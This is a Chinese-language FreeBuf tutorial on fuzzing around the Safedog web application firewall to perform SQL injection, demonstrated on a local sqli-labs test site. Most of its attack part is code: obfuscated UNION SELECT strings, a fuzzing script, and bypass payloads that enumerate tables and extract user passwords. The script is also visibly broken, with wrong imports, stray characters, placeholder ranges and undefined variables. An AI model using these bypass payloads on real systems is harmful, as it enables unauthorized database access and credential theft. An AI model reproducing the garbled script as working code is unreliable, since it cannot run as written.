freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

记一次Fuzz绕WAF实现SQL 注入
2021-05-25 23:27:44

0×00简介

本文使用自己编写的Python脚本,实现绕过某WAF限制,实现SQL注入。先解释一下Fuzz概念,Fuzz是安全测试的一种方法,面对waf无所适从的时候,可以使用Fuzz模糊测试来绕过waf,甚至你可以发现一些意想不到的payload语句。

0×01SQL注入绕waf常用的方法

使用大小写绕过 例如:

使用注释符/**/ #绕过

使用/!**/绕过

根据数据库特性进行绕过,例如mysql数据,使用/*!5000 union select x,x,x/

更改user-agent

.......

0×02 使用/**/结合Fuzz绕过

先组建好sql注入本地测试平台,在服务器中安装某WAF狗。 本文使用的中间件为apache和数据库是mysql,首先安装配置安全狗,在此之前需要安装好phpstudy。1621954039_60ad0df72367001c1aea3.png!small?1621954040905

访问搭建好的SQL注入平台.

1621954649_60ad1059661cd360e1cc1.png!small?1621954653051

先进行测试过程为:?id=1’ union select 1,2,3--+ 拦截  。

?id=1’ /*union */select 1,2,3--+ 拦截  。

?id=1' /*union */ 1,2,3--+ 不拦截

?id=1' union 1,2,3--+不拦截

?id=1' select 1,2,3--+不拦截

说明union和select在一起会拦截

使用/*%0a*/union/*%0a*/select/*%0a*/1,2,3--+   拦截   PS:%0a是换行意思

1621955169_60ad1261489326bc168e7.png!small?1621955170030

那么这个时候可以使用python脚本进行fuzz测试了。测试替换脚本为%0a,%23代码如下:

From urllib import requests

import time

url='http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1'

union='union'

select='select'

num='1,2,3'

l={'%0a','%23'}

ll={'S'}

lll={'%0a','%23'}

x='/*!'

f='*/'

def bypass():

for xiaofei in a:6t

for xiaofeii in ll:

for xiaofeiii inlll:

for two in range(?,?):   #?自己指定步长

urls=url+xiaofei+xiaofeii+xiaofeiii+ll+str(two)+union+lll+xiaofei+xiaodis+xiaofeii+select+xiaofei+xiaofeii+xiaofeiii+num

try:

result=requests.get(urls).text

len_r=len(result) #len() 方法返回对象(字符、列表、元组等)长度或项目个数。

if (result.find('safedog') == -1):
#print('bypass url addreess:' + urls + '|' + str(len_r))
print('bypass url addreess:'+urls+'|'+str(len_r))
if len_r==715:
fp = open('url.txt', 'l+')

fp.write(urls + '\n')

fp.close()

except Exception as err:

print('connecting error')

time.sleep(0.1)

if __name__ == '__main__':

print('fuzz strat!')

bypass()

0×03 测试结果

测试结果为:http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1/*S%0a*/union/*x%0a*/select/*x%0a*/ 1,2,3没有被拦截。

1621956316_60ad16dc6bfe54e07e9f8.png!small?1621956317258

0×04 扩展

同样利用其他方法进行爆破,下面是payload。

?id=1’ /!20000order/by 3–+
?id=-1’ union /!00000all select/ 1,2,3–+
?id=-1’ union /!00000all select/ 1,database/**/(),3–+
?id=-1’ union /!00000all/ /!00000select 1,2,table_name from/ information_schema.tables where table_schema=‘security’ limit 3,1 --+
?id=-1’ union /!00000all/ /!00000select 1,2,column_name from/ information_schema.columns where table_name=‘users’ limit 2,1 --+
?id=-1’ union /!00000all/ /!00000select 1,2,password from/ users limit 1,1 --+
# 黑客 # web安全 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录